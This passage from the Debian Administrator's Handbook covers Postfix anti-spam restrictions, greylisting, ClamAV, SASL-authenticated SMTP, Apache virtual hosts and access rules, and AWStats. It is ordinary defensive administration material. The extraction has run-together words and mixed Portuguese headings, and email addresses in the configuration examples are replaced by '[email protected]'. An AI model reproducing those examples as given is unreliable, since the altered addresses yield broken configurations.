The second directive would normallyreject emails coming from machineswithout a completely valid DNSconfiguration. Such a validconfiguration means that the IP addresscan be resolved to a name, and that thisname, in turn, resolves to the IPaddress. This restriction is often toostrict, since many email servers do nothave a reverse DNS for their IPaddress. This explains why the Falcotadministrators prepended thewarn_if_reject modifier to thereject_unknown_client directive:this modifier turns the rejection into asimple warning recorded in the logs.The administrators can then keep aneye on the number of messages that

would be rejected if the rule wereactually enforced, and make aninformed decision later if they wish toenable such enforcement.

DICA tabelas de acesso

The restriction criteria includeadministrator-modifiable tables listingcombinations of senders, IP addresses,and allowed or forbidden hostnames.These tables can be created from anuncompressed copy of the/usr/share/doc/postfix-

doc/examples/access.gz file. This modelis self-documented in its comments,which means each table describes its ownsyntax.

The /etc/postfix/access_clientip table

lists IP addresses and networks;/etc/postfix/access_helo lists domainnames; /etc/postfix/access_sendercontains sender email addresses. All thesefiles need to be turned into hash-tables (aformat optimized for fast access) aftereach change, with the postmap/etc/postfix/file command.

The third directive allows theadministrator to set up a black list anda white list of email servers, stored inthe /etc/postfix/access_clientipfile. Servers in the white list areconsidered as trusted, and the emailscoming from there therefore do not gothrough the following filtering rules.

The last two rules reject any messagecoming from a server listed in one ofthe indicated black lists. RBL is anacronym for Remote Black List; thereare several such lists, but they all listbadly configured servers thatspammers use to relay their emails, aswell as unexpected mail relays such asmachines infected with worms orviruses.

TIP White list and RBLs

Black lists sometimes include a legitimateserver that has been suffering an incident.In these situations, all emails comingfrom one of these servers would berejected unless the server is listed in awhitelist defined by

/etc/postfix/access_clientip.

A prudência recomenda a inclusão detodos os servidores confiáveis na listabranca de onde muito e-mail sãogeralmente recebidos.

11.1.3.2. Verificando aValidade dos ComandosEHLO ou HELO

Toda troca SMTP começa com umcomando HELO (ou EHLO), seguido donome do servidor de e-mail enviante;verificar a validade deste nome podeser interessante.

Example 11.7. Restrictions on thename announced in EHLO

smtpd_helo_restrictions = permit_mynetworks, reject_invalid_hostname,

check_helo_access hash:/etc/postfix/access_helo,

reject_non_fqdn_hostname, warn_if_reject reject_unknown_hostname

The first permit_mynetworks directiveallows all machines on the localnetwork to introduce themselves freely.This is important, because some emailprograms do not respect this part of theSMTP protocol adequately enough, andthey can introduce themselves withnonsensical names.

The reject_invalid_hostname rulerejects emails when the EHLO announcelists a syntactically incorrect hostname.

The reject_non_fqdn_hostname rulerejects messages when the announcedhostname is not a fully-qualifieddomain name (including a domainname as well as a host name). Thereject_unknown_hostname rulerejects messages if the announcedname does not exist in the DNS. Sincethis last rule unfortunately leads to toomany rejections, the administratorsturned its effect to a simple warningwith the warn_if_reject modifier as afirst step; they may decide to removethis modifier at a later stage, afterauditing the results of this rule.

Using permit_mynetworks as the firstrule has an interesting side effect: the

following rules only apply to hostsoutside the local network. This allowsblacklisting all hosts that announcethemselves as part of the falcot.com,for instance by adding a falcot.comREJECT You're not in our

network! line to the/etc/postfix/access_helo file.

11.1.3.3. Accepting orRefusing Based on theAnnounced Sender

Toda mensagem tem um remetente,anunciado pelo comando MAIL FROM doprotocolo SMTP; novamente estainformação pode ser validada de

diversas maneiras.

Example 11.8. Verificações doRemetente

smtpd_sender_restrictions =

check_sender_access hash:/etc/postfix/access_sender,

reject_unknown_sender_domain, reject_unlisted_sender,

reject_non_fqdn_sender

The /etc/postfix/access_sendertable maps some special treatment tosome senders. This usually meanslisting some senders into a white list ora black list.

The reject_unknown_sender_domainrule requires a valid sender domain,since it is needed for a valid address.

The reject_unlisted_sender rulerejects local senders if the address doesnot exist; this prevents emails frombeing sent from an invalid address inthe falcot.com domain, and messagesemanating [email protected] are onlyaccepted if such an address reallyexists.

Finally, the reject_non_fqdn_senderrule rejects emails purporting to comefrom addresses without a fully-qualified domain name. In practice,this means rejecting emails comingfrom user@machine: the address mustbe announced as [email protected] or

[email protected].

11.1.3.4. Aceitando eRejeitando Baseado noDestinatário

Todo e-mail tem ao menos umdestinatário, anunciado com o comandoRCPT TO no protocolo SMTP. Estesendereços também são passíveis devalidação, mesmo que sejam menosrelevantes do que as verificações feitasno endereço do remetente.

Example 11.9. Verificações peloDestinatário

smtpd_recipient_restrictions = permit_mynetworks,

reject_unauth_destination, reject_unlisted_recipient,

reject_non_fqdn_recipient

reject_unauth_destination is thebasic rule that requires outsidemessages to be addressed to us;messages sent to an address not servedby this server are rejected. Without thisrule, a server becomes an open relaythat allows spammers to sentunsolicited emails; this rule istherefore strongly recommended, and itwill be located near the beginning ofthe list for preference, so as to avoidother rules to authorize the message topass through before its destination hasbeen checked.

The reject_unlisted_recipient rulerejects messages sent to non-existinglocal users, which makes sense.Finally, thereject_non_fqdn_recipient rulerejects non-fully-qualified addresses;this makes it impossible to send anemail to jean or jean@machine, andrequires using the full address instead,such as [email protected] [email protected].

11.1.3.5. RestriçõesAssociadas ao ComandoDATA

The DATA command of SMTP is

emitted before the contents of themessage. It doesn't provide anyinformation per se, apart fromannouncing what comes next. It canstill be subjected to checks.

Example 11.10. Verificações peloDATA

smtpd_data_restrictions = reject_unauth_pipelining

The reject_unauth_pipeliningdirectives causes the message to berejected if the sending party sends acommand before the reply to theprevious command has been sent. Thisguards against a common optimizationused by spammer robots, since theyusually don't care a fig about replies

and only focus on sending as manyemails as possible in as short a time aspossible.

11.1.3.6. Aplicando asRestrições

Although the above commands validateinformation at various stages of theSMTP exchange, Postfix only sends theactual rejection as a reply to the RCPTTO command.

This means that even if the message isrejected due to an invalid EHLOcommand, Postfix knows the senderand the recipient when announcing the

rejection. It can then log a moreexplicit message than it could if thetransaction had been interrupted fromthe start. In addition, a number ofSMTP clients do not expect failures onthe early SMTP commands, and theseclients will be less disturbed by thislate rejection.

A final advantage to this choice is thatthe rules can accumulate informationduring the various stages of SMTP; thisallows defining more fine-grainedpermissions, such as rejecting a non-local connection if it announces itselfwith a local sender.

11.1.3.7. Filtrando Baseado

no Conteúdo da Mensagem

QUICK LOOK Regexp tables

The /usr/share/doc/postfix-doc/examples/header_checks.gz filecontains many explanatory comments andcan be used as a starting point forcreating the /etc/postfix/header_checksand /etc/postfix/body_checks files.

The validation and restriction systemwould not be complete without a wayto apply checks to the messagecontents. Postfix differentiates thechecks applying on the email headersfrom those applying to the email body.

Example 11.11. Enabling content-based filters

header_checks = regexp:/etc/postfix/header_checks

body_checks = regexp:/etc/postfix/body_checks

Both files contain a list of regularexpressions (commonly known asregexps or regexes) and associatedactions to be triggered when the emailheaders (or body) match theexpression.

Example 11.12. Example/etc/postfix/header_checks file

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)

/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

BACK TO BASICS Regular expression

The regular expression term (shortenedto regexp or regex) references a genericnotation for expressing a description ofthe contents and/or structure of a string ofcharacters. Certain special charactersallow defining alternatives (for instance,foo|bar matches either “foo” or “bar”),sets of allowed characters (for instance,[0-9] means any digit, and . — a dot —means any character), quantifications (s?matches either s or the empty string, inother words 0 or 1 occurrence of s; s+matches one or more consecutive scharacters; and so on). Parentheses allowgrouping search results.

The precise syntax of these expressionsvaries across the tools using them, but thebasic features are similar.

→ http://en.wikipedia.org/wiki/Regular_expression

The first one checks the headermentioning the email software; if GOTOSarbacane (a bulk email software) isfound, the message is rejected. Thesecond expression controls the messagesubject; if it mentions a virusnotification, we can decide not to rejectthe message but to discard itimmediately instead.

Using these filters is a double-edgedsword, because it is easy to make therules too generic and to lose legitimateemails as a consequence. In thesecases, not only the messages will belost, but their senders will getunwanted (and annoying) error

messages.

11.1.4. Setting Upgreylisting

“Greylisting” is a filtering techniqueaccording to which a message isinitially rejected with a temporaryerror code, and only accepted on afurther try after some delay. Thisfiltering is particularly efficient againstspam sent by the many machinesinfected by worms and viruses, sincethese software rarely act as full SMTPagents (by checking the error code andretrying failed messages later),

especially since many of the harvestedaddresses are really invalid andretrying would only mean losing time.

Postfix doesn't provide greylistingnatively, but there is a feature by whichthe decision to accept or reject a givenmessage can be delegated to anexternal program. The postgreypackage contains just such a program,designed to interface with this accesspolicy delegation service.

Once postgrey is installed, it runs as adaemon and listens on port 60000.Postfix can then be configured to use it,by adding the check_policy_serviceparameter as an extra restriction:

smtpd_recipient_restrictions = permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:60000

Each time Postfix reaches this rule inthe ruleset, it will connect to thepostgrey daemon and send itinformation concerning the relevantmessage. On its side, Postgreyconsiders the IPaddress/sender/recipient triplet andchecks in its database whether thatsame triplet has been seen recently. Ifso, Postgrey replies that the messageshould be accepted; if not, the replyindicates that the message should betemporarily rejected, and the tripletgets recorded in the database.

The main disadvantage of greylisting isthat legitimate messages get delayed,which is not always acceptable. It alsoincreases the burden on servers thatsend many legitimate emails.

IN PRACTICE Shortcomings ofgreylisting

Theoretically, greylisting should onlydelay the first mail from a given sender toa given recipient, and the typical delay isin the order of minutes. Reality, however,can differ slightly. Some large ISPs useclusters of SMTP servers, and when amessage is initially rejected, the serverthat retries the transmission may not bethe same as the initial one. When thathappens, the second server gets atemporary error message due to

greylisting too, and so on; it may takeseveral hours until transmission isattempted by a server that has alreadybeen involved, since SMTP serversusually increase the delay between retriesat each failure.

As a consequence, the incoming IPaddress may vary in time even for a singlesender. But it goes further: even thesender address can change. For instance,many mailing-list servers encode extrainformation in the sender address so as tobe able to handle error messages (knownas bounces). Each new message sent to amailing-list may then need to go throughgreylisting, which means it has to bestored (temporarily) on the sender'sserver. For very large mailing-lists (withtens of thousands of subscribers), this cansoon become a problem.

To mitigate these drawbacks, Postgreymanages a whitelist of such sites, andmessages emanating from them areimmediately accepted without goingthrough greylisting. This list can easily beadapted to local needs, since it's stored inthe /etc/postgrey/whitelist_clientsfile.

GOING FURTHER Selective greylistingwith whitelister

The drawbacks of greylisting can bemitigated by only using greylisting on thesubset of clients that are alreadyconsidered as probable sources of spam(because they are listed in a DNS black-list). This service is provided bywhitelister, another access policy daemonfor Postfix that can be used as a filter just

before Postgrey. If the client is not listedin any black-list, Whitelister tells Postfixto accept the message; otherwise,Whitelister's reply is that it has noopinion, and the message goes on to thenext rule in the ruleset (which will usuallybe the call to Postgrey). Whitelisterlistens on port 10000 by default.

smtpd_recipient_restrictions = permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:10000,

check_policy_service inet:127.0.0.1:60000

Since Whitelister never triggers adefinitive rejection, using aggressiveDNS black-lists becomes reasonable,including those listing all dynamic IPaddresses from ISP clients (such asdynablock.njabl.org ordul.dnsbl.sorbs.net). This can beconfigured with the rbl parameter in the

/etc/whitelister.conf configurationfile.

11.1.5. CustomizingFilters Based On theRecipientThe last two sections reviewed many ofthe possible restrictions. They all havetheir use in limiting the amount ofreceived spam, but they also all havetheir drawbacks. It is therefore moreand more common to customize the setof filters depending on the recipient. AtFalcot Corp, greylisting is interesting

for most users, but it hinders the workof some users who need low latency intheir emails (such as the technicalsupport service). Similarly, thecommercial service sometimes hasproblems receiving emails from someAsian providers who may be listed inblack-lists; this service asked for anon-filtered address so as to be able tocorrespond.

Postfix provides such a customizationof filters with a “restriction class”concept. The classes are declared in thesmtpd_restriction_classes

parameter, and defined the same wayas smtpd_recipient_restrictions.The check_recipient_accessdirective then defines a table mapping

a given recipient to the appropriate setof restrictions.

Example 11.13. Defining restrictionclasses in main.cfsmtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10000,

check_policy_service inet:127.0.0.1:60000

aggressive = reject_rbl_client sbl-xbl.spamhaus.org,

check_policy_service inet:127.0.0.1:60000

permissive = permit

smtpd_recipient_restrictions = permit_mynetworks,

reject_unauth_destination,

check_recipient_access hash:/etc/postfix/recipient_access

Example 11.14. The/etc/postfix/recipient_access file

# Unfiltered addresses

[email protected] permissive

[email protected] permissive

[email protected] permissive

# Aggressive filtering for some privileged users

[email protected] aggressive

# Special rule for the mailing-list manager

[email protected] reject_unverified_sender

# Greylisting by default

falcot.com greylisting

11.1.6. Integrating anAntivirusThe many viruses circulating asattachments to emails make itimportant to set up an antivirus at the

entry point of the company network,since despite an awareness campaign,some users will still open attachmentsfrom obviously shady messages.

The Falcot administrators selectedclamav for their free antivirus. Themain package is clamav, but they alsoinstalled a few extra packages such asarj, unzoo, unrar and lha, since they arerequired for the antivirus to analyzeattachments archived in one of theseformats.

The task of interfacing betweenantivirus and the email server goes toclamav-milter. A milter (short formail filter) is a filtering program

specially designed to interface withemail servers. A milter uses a standardapplication programming interface(API) that provides much betterperformance than filters external to theemail servers. Milters were initiallyintroduced by Sendmail, but Postfixsoon followed suit.

QUICK LOOK A milter forSpamassassin

The spamass-milter package provides amilter based on SpamAssassin, the famousunsolicited email detector. It can be usedto flag messages as probable spams (byadding an extra header) and/or to rejectthe messages altogether if their“spamminess” score goes beyond a given

threshold.

Once the clamav-milter is installed, the/etc/default/clamav-milter filemust be edited, so that the milter isconfigured to run on a TCP port ratherthan on the default named socket:

SOCKET=inet:[email protected]

This new configuration is taken intoaccount by running /etc/init.d/clamav-milter restart.

The standard ClamAV configurationfits most situations, but someimportant parameters can still be

customized with dpkg-reconfigureclamav-base. Similarly, running dpkg-reconfigure clamav-milter allowsdefining the mail filter's behavior insome detail.

The last step involves telling Postfix touse the recently-configured filter. Thisis a simple matter of adding thefollowing directive to/etc/postfix/main.cf:

# Virus check with clamav-milter

smtpd_milters = inet:[127.0.0.1]:10002

If the antivirus causes problems, thisline can be commented out, and/etc/init.d/postfix reload should be run

so that this change is taken intoaccount.

IN PRACTICE Testing the antivirus

Once the antivirus is set up, its correctbehavior should be tested. The simplestway to do that is to send a test email withan attachment containing the eicar.com(or eicar.com.zip) file, which can bedownloaded online:

→ http://www.eicar.org/anti_virus_test_file.htm

This file is not a true virus, but a test filethat all antivirus software on the marketdiagnose as a virus to allow checkinginstallations.

All messages handled by Postfix nowgo through the antivirus filter.

11.1.7. AuthenticatedSMTPBeing able to send emails requires anSMTP server to be reachable; it alsorequires said SMTP server to sendemails through it. For roaming users,that may need regularly changing theconfiguration of the SMTP client, sinceFalcot's SMTP server rejects messagescoming from IP addresses apparentlynot belonging to the company. Twosolutions exist: either the roaming user

installs an SMTP server on theircomputer, or they still use the companyserver with some means ofauthenticating as an employee. Theformer solution is not recommendedsince the computer won't bepermanently connected, and it won't beable to retry sending messages in caseof problems; we will focus on the lattersolution.

SMTP authentication in Postfix relieson SASL (Simple Authentication andSecurity Layer). It requires installingthe libsasl2-modules and sasl2-binpackages, then registering a passwordin the SASL database for each user thatneeds authenticating on the SMTP

server. This is done with thesaslpasswd2 command, which takesseveral parameters. The -u optiondefines the authentication domain,which must match thesmtpd_sasl_local_domain parameterin the Postfix configuration. The -coption allows creating a user, and -fallows specifying the file to use if theSASL database needs to be stored at adifferent location than the default(/etc/sasldb2).

# saslpasswd2 -h `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean

[... type jean's password twice ...]

Note that the SASL database wascreated in Postfix's directory. In order

to ensure consistency, we also turn/etc/sasldb2 into a symbolic linkpointing at the database used byPostfix, with the ln -sf/var/spool/postfix/etc/sasldb2/etc/sasldb2 command.

Now we need to configure Postfix touse SASL. First the postfix user needsto be added to the sasl group, so that itcan access the SASL account database.A few new parameters are also neededto enable SASL, and thesmtpd_recipient_restrictions

parameter needs to be configured toallow SASL-authenticated clients tosend emails freely.

Example 11.15. Enabling SASL in

/etc/postfix/main.cf

# Enable SASL authentication

smtpd_sasl_auth_enable = yes

# Define the SASL authentication domain to use

smtpd_sasl_local_domain = $myhostname

[...]

# Adding permit_sasl_authenticated before reject_unauth_destination

# allows relaying mail sent by SASL-authenticated users

smtpd_recipient_restrictions = permit_mynetworks,

permit_sasl_authenticated,

reject_unauth_destination,

[...]

EXTRA Authenticated SMTP client

Most email clients are able to authenticateto an SMTP server before sendingoutgoing messages, and using that featureis a simple matter of configuring theappropriate parameters. If the client inuse does not provide that feature, the

workaround is to use a local Postfixserver and configure it to relay email viathe remote SMTP server. In this case, thelocal Postfix itself will be the client thatauthenticates with SASL. Here are therequired parameters:

smtp_sasl_auth_enable = yes

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd

relay_host = [mail.falcot.com]

The /etc/postfix/sasl_passwd file needsto contain the username and password touse for authenticating on thesmtp.falcot.com server. Here's anexample:

[mail.falcot.com] joe:LyinIsji

As for all Postfix maps, this file must beturned into /etc/postfix/sasl_passwd.db

with the postmap command.

11.2. Web Server(HTTP)The Falcot Corp administrators decidedto use the Apache HTTP server,included in Debian Squeeze at version2.2.16.

ALTERNATIVE Other web servers

Apache is merely the most widely-known(and widely-used) web server, but thereare others; they can offer betterperformance under certain workloads, butthis has its counterpart in the smallernumber of available features andmodules. However, when the prospective

web server is built to serve static files orto act as a proxy, the alternatives, such asnginx and lighttpd, are worthinvestigating.

11.2.1. InstallingApacheBy default, installing the apache2package causes the apache2-mpm-worker version of Apache to beinstalled too. The apache2 package isan empty shell, and it only serves toensure that one of the Apache versionsis actually installed.

The differences between the variants ofApache 2 are concentrated in the policyused to handle parallel processing ofmany requests; this policy isimplemented by an MPM (short forMulti-Processing Module). Among theavailable MPMs, apache2-mpm-workeruses threads (lightweight processes),whereas apache2-mpm-prefork uses apool of processes created in advance(the traditional way, and the only oneavailable in Apache 1.3). apache2-mpm-event also uses threads, but theyare terminated earlier, when theincoming connection is only kept openby the HTTP keep-alive feature.

The Falcot administrators also install

libapache2-mod-php5 so as to includethe PHP support in Apache. This causesapache2-mpm-worker to be removed,and apache2-mpm-prefork to beinstalled in its stead, since PHP onlyworks under that particular MPM.

SECURITY Execution under the www-data user

By default, Apache handles incomingrequests under the identity of the www-data user. This means that a securityvulnerability in a CGI script executed byApache (for a dynamic page) won'tcompromise the whole system, but onlythe files owned by this particular user.

Using the suexec modules allowsbypassing this rule so that some CGI

scripts are executed under the identity ofanother user. This is configured with aSuexecUserGroup usergroup directive inthe Apache configuration.

Another possibility is to use a dedicatedMPM, such as the one provided byapache2-mpm-itk. This particular one hasa slightly different behavior: it allows“isolating” virtual hosts so that they eachrun as a different user. A vulnerability inone website therefore cannot compromisefiles belonging to the owner of anotherwebsite.

QUICK LOOK List of modules

The full list of Apache standard modulescan be found online.

→ http://httpd.apache.org/docs/2.2/mod/index.html

Apache is a modular server, and manyfeatures are implemented by externalmodules that the main program loadsduring its initialization. The defaultconfiguration only enables the mostcommon modules, but enabling newmodules is a simple matter of runninga2enmod module; to disable a module,the command is a2dismod module.These programs actually only create(or delete) symbolic links in/etc/apache2/mods-enabled/,pointing at the actual files (stored in/etc/apache2/mods-available/).

With its default configuration, the webserver listens on port 80 (as configuredin /etc/apache2/ports.conf), andserves pages from the /var/www/directory (as configured in/etc/apache2/sites-enabled/000-

default).

GOING FURTHER Adding support forSSL

Apache 2.2 includes the SSL modulerequired for secure HTTP (HTTPS) out ofthe box. It just needs to be enabled witha2enmod ssl, then the required directiveshave to be added to the configurationfiles. A configuration example isprovided in /usr/share/doc/apache2.2-common/examples/apache2/extra/httpd-

ssl.conf.gz.

→ http://httpd.apache.org/docs/2.2/mod/mod_ssl.html

11.2.2. ConfiguringVirtual HostsA virtual host is an extra identity forthe web server.

Apache considers two different kindsof virtual hosts: those that are based onthe IP address (or the port), and thosethat rely on the domain name of theweb server. The first method requiresallocating a different IP address (orport) for each site, whereas the secondone can work on a single IP address

(and port), and the sites aredifferentiated by the hostname sent bythe HTTP client (which only works inversion 1.1 of the HTTP protocol —fortunately that version is old enoughthat all clients use it already).

The (increasing) scarcity of IPv4addresses usually favors the secondmethod; however, it is made morecomplex if the virtual hosts need toprovide HTTPS too, since the SSLprotocol hasn't always provided forname-based virtual hosting; the SNIextension (Server Name Indication)that allows such a combination is nothandled by all browsers. When severalHTTPS sites need to run on the same

server, they will usually bedifferentiated either by running on adifferent port or on a different IPaddress (IPv6 can help there).

The default configuration for Apache 2enables name-based virtual hosts (withthe NameVirtualHost *:80 directivein the /etc/apache2/ports.conffile). In addition, a default virtual hostis defined in the/etc/apache2/sites-enabled/000-

default file; this virtual host will beused if no host matching the requestsent by the client is found.

CAUTION First virtual host

Requests concerning unknown virtual

hosts will always be served by the firstdefined virtual host, which is why wedefined www.falcot.com first here.

QUICK LOOK Apache supports SNI

Starting with Debian Squeeze, the Apacheserver supports an SSL protocol extensioncalled Server Name Indication (SNI). Thisextension allows the browser to send thehostname of the web server during theestablishment of the SSL connection,much earlier than the HTTP request itself,which was previously used to identify therequested virtual host among those hostedon the same server (with the same IPaddress and port). This allows Apache toselect the most appropriate SSL certificatefor the transaction to proceed.

Before SNI, Apache would always use thecertificate defined in the default virtualhost. Clients trying to access anothervirtual host would then display warnings,since the certificate they received didn'tmatch the website they were trying toaccess. Fortunately, most browsers nowwork with SNI; this includes MicrosoftInternet Explorer starting with version 7.0(starting on Vista), Mozilla Firefoxstarting with version 2.0, Apple Safarisince version 3.2.1, and all versions ofGoogle Chrome.

The Apache package provided in Debianis built with support for SNI; no particularconfiguration is therefore needed, apartfrom enabling name-based virtual hostingon port 443 (SSL) as well as the usual port80. This is a simple matter of editing/etc/apache2/ports.conf so it includes

the following:

<IfModule mod_ssl.c>

NameVirtualHost *:443

Listen 443

</IfModule>

Care should also be taken to ensure thatthe configuration for the first virtual host(the one used by default) does enableTLSv1, since Apache uses the parametersof this first virtual host to establish secureconnections, and they had better allowthem!

Each extra virtual host is thendescribed by a file stored in/etc/apache2/sites-available/.Setting up a website for thefalcot.org domain is therefore a

simple matter of creating the followingfile, then enabling the virtual host witha2ensite www.falcot.org.

Example 11.16. The/etc/apache2/sites-

available/www.falcot.org file

<VirtualHost *:80>

ServerName www.falcot.org

ServerAlias falcot.org

DocumentRoot /srv/www/www.falcot.org

</VirtualHost>

The Apache server, as configured sofar, uses the same log files for allvirtual hosts (although this could bechanged by adding CustomLogdirectives in the definitions of thevirtual hosts). It therefore makes good

sense to customize the format of thislog file to have it include the name ofthe virtual host. This can be done bycreating a/etc/apache2/conf.d/customlog filethat defines a new format for all logfiles (with the LogFormat directive).The CustomLog line must also beremoved (or commented out) from the/etc/apache2/sites-

available/default file.

Example 11.17. The/etc/apache2/conf.d/customlog file

# New log format including (virtual) host name

LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# Now let's use this "vhost" format by default

CustomLog /var/log/apache2/access.log vhost

11.2.3. CommonDirectivesThis section briefly reviews some ofthe commonly-used Apacheconfiguration directives.

The main configuration file usuallyincludes several Directory blocks;they allow specifying differentbehaviors for the server depending onthe location of the file being served.Such a block commonly includesOptions and AllowOverridedirectives.

Example 11.18. Directory block

<Directory /var/www>

Options Includes FollowSymlinks

AllowOverride All

DirectoryIndex index.php index.html index.htm

</Directory>

The DirectoryIndex directivecontains a list of files to try when theclient request matches a directory. Thefirst existing file in the list is used andsent as a response.

The Options directive is followed by alist of options to enable. The Nonevalue disables all options;correspondingly, All enables them allexcept MultiViews. Available optionsinclude:

ExecCGI indicates that CGI scriptscan be executed.FollowSymlinks tells the serverthat symbolic links can befollowed, and that the responseshould contain the contents of thetarget of such links.SymlinksIfOwnerMatch also tellsthe server to follow symboliclinks, but only when the link andthe its target have the same owner.Includes enables Server SideIncludes (SSI for short). These aredirectives embedded in HTMLpages and executed on the fly foreach request.Indexes tells the server to list thecontents of a directory if the

HTTP request sent by the clientpoints at a directory without anindex file (ie, when no filesmentioned by theDirectoryIndex directive existsin this directory).MultiViews enables contentnegotiation; this can be used bythe server to return a web pagematching the preferred languageas configured in the browser.

BACK TO BASICS .htaccess file

The .htaccess file contains Apacheconfiguration directives enforced eachtime a request concerns an element of thedirectory where it is stored. The scope ofthese directives also recurses to all the

subdirectories within.

Most of the directives that can occur in aDirectory block are also legal in a.htaccess file.

The AllowOverride directive lists allthe options that can be enabled ordisabled by way of a .htaccess file. Acommon use of this option is to restrictExecCGI, so that the administratorchooses which users are allowed to runprograms under the web server'sidentity (the www-data user).

11.2.3.1. RequiringAuthentication

In some circumstances, access to partof a website needs to be restricted, soonly legitimate users who provide ausername and a password are grantedaccess to the contents.

Example 11.19. .htaccess filerequiring authentication

Require valid-user

AuthName "Private directory"

AuthType Basic

AuthUserFile /etc/apache2/authfiles/htpasswd-private

SEGURANÇA Sem segurança

The authentication system used in theabove example (Basic) has minimalsecurity as the password is sent in cleartext (it is only encoded as base64, which

is a simple encoding rather than anencryption method). It should also benoted that the documents “protected” bythis mechanism also go over the networkin the clear. If security is important, thewhole HTTP connection should beencrypted with SSL.

The/etc/apache2/authfiles/htpasswd-

private file contains a list of usersand passwords; it is commonlymanipulated with the htpasswdcommand. For example, the followingcommand is used to add a user orchange their password:

# htpasswd /etc/apache2/authfiles/htpasswd-private

New password:

Re-type new password:

Adding password for user user

11.2.3.2. RestringindoAcesso

The Allow from and Deny fromdirectives control access restrictionsfor a directory (and its subdirectories,recursively).

The Order directive tells the server ofthe order in which the Allow from andDeny from directives are applied; thelast one that matches takes precedence.In concrete terms, Order deny,allowallows access if no Deny from applies,

or if an Allow from directive does.Conversely, Order allow,deny rejectsaccess if no Allow from directivematches (or if a Deny from directiveapplies).

The Allow from and Deny fromdirectives can be followed by an IPaddress, a network (such as192.168.0.0/255.255.255.0,192.168.0.0/24 or even 192.168.0),a hostname or a domain name, or theall keyword, designating everyone.

Example 11.20. Rejeita por padrãomas permite da rede local

Order deny,allow

Allow from 192.168.0.0/16

Deny from all

11.2.4. Analisadoresde LogA log analyzer is frequently installedon a web server; since the formerprovides the administrators with aprecise idea of the usage patterns of thelatter.

The Falcot Corp administratorsselected AWStats (Advanced WebStatistics) to analyze their Apache logfiles.

The first configuration step is the

creation of the/etc/awstats/awstats.conf file.The/usr/share/doc/awstats/examples/awstats.model.conf.gz

template is a recommended startingpoint, and the Falcot administratorskeep it unchanged apart from thefollowing parameters:

LogFile="/var/log/apache2/access.log"

LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"

SiteDomain="www.falcot.com"

HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"

DNSLookup=1

DirData="/var/lib/awstats"

DirIcons="/awstats-icon"

DirLang="/usr/share/awstats/lang"

LoadPlugin="tooltips"

All these parameters are documentedby comments in the template file. Inparticular, the LogFile and LogFormatparameters describe the location andformat of the log file and theinformation it contains; SiteDomainand HostAliases list the variousnames under which the main web siteis known.

For high traffic sites, DNSLookupshould usually not be set to 1; forsmaller sites, such as the Falcot onedescribed above, this setting allowsgetting more readable reports thatinclude full machine names instead ofraw IP addresses.

SEGURANÇA Acesso as estatísticas

AWStats makes its statistics available onthe website with no restrictions bydefault, but restrictions can be set up sothat only a few (probably internal) IPaddresses can access them; the list ofallowed IP addresses needs to be definedin theAllowAccessFromWebToFollowingIPAddresses

parameter

AWStats will also be enabled for othervirtual hosts; each virtual host needs itsown configuration file, such as/etc/awstats/awstats.www.falcot.org.conf

Example 11.21. AWStatsconfiguration file for a virtual host

Include "/etc/awstats/awstats.conf"

SiteDomain="www.falcot.org"

HostAliases="falcot.org"

This will only work if the/etc/awstats/awstats.conf filedoes not contain any Includedirective, since AWStats cannot handlemulti-level inclusions; unfortunately,the default file provided by Debiandoes contain such a directive.

To have this new virtual host taken intoaccount, the /etc/cron.d/awstatsneeds to be edited to add an invocationsuch as the following: /usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update

Example 11.22. O arquivo/etc/cron.d/awstats

0,10,20,30,40,50 * * * * www-data [ -x /usr/lib/cgi-bin/awstats.pl -a -f /etc/awstats/awstats.conf -a -r /var/log/apache2/access.log ] && /usr/lib/cgi-bin/awstats.pl -config=awstats -update >/dev/null && /usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update >/dev/null

AWStats uses many icons stored in the/usr/share/awstats/icon/

directory. In order for these icons to beavailable on the web site, the Apacheconfiguration needs to be adapted toinclude the following directive:

Alias /awstats-icon/ /usr/share/awstats/icon/

After a few minutes (and once thescript has been run a few times), theresults are available online:

→ http://www.falcot.com/cgi-

bin/awstats.pl→ http://www.falcot.org/cgi-bin/awstats.pl

CAUTION Log file rotation

In order for the statistics to take all thelogs into account, AWStats needs to berun right before the Apache log files arerotated. This can be achieved by adding aprerotate directive to the/etc/logrotate.d/apache2 file:

/var/log/apache2/*.log {

weekly

missingok

rotate 52

compress

delaycompress

notifempty

create 644 root adm

sharedscripts

prerotate

su - www-data -c "/usr/lib/cgi-bin/awstats.pl -config=awstats -update > /dev/null"

su - www-data -c "/usr/lib/cgi-bin/awstats.pl -config=www.falcot.org -update > /dev/null"

endscript

postrotate

if [ -f /var/run/apache2.pid ]; then

/etc/init.d/apache2 restart > /dev/null

fi

endscript

}

Note also that the log files created bylogrotate need to be readable byeveryone, especially AWStats. In theabove example, this is ensured by thecreate 644 root adm line.

11.3. Servidor deArquivos FTPFTP (File Transfer Protocol) is one ofthe first protocols of the Internet(RFC 959 was issued in 1985!). It wasused to distribute files before the Webwas even born (the HTTP protocol wascreated in 1990, and formally definedin its 1.0 version by RFC 1945, issuedin 1996).

This protocol allows both file uploadsand file downloads; for this reason, it isstill widely used to deploy updates to awebsite hosted by one's Internet service

provider (or any other entity hostingwebsites). In these cases, secure accessis enforced with a user identifier andpassword; on successful authentication,the FTP server grants read-write accessto that user's home directory.

Other FTP servers are mainly used todistribute files for public downloading;Debian packages are a good example.The contents of these servers is fetchedfrom other, geographically remote,servers; it is then made available toless distant users. This means thatclient authentication is not required; asa consequence, this operating mode isknown as “anonymous FTP”. To beperfectly correct, the clients do

authenticate with the anonymoususername; the password is often, byconvention, the user's email address,but the server ignores it.

Many FTP servers are available inDebian (ftpd, proftpd, wu-ftpd and soon). The Falcot Corp administratorspicked vsftpd because they only use theFTP server to distribute a few files(including a Debian packagerepository); since they don't needadvanced features, they chose to focuson the security aspects.

Installing the package creates an ftpsystem user. This account is alwaysused for anonymous FTP connections,

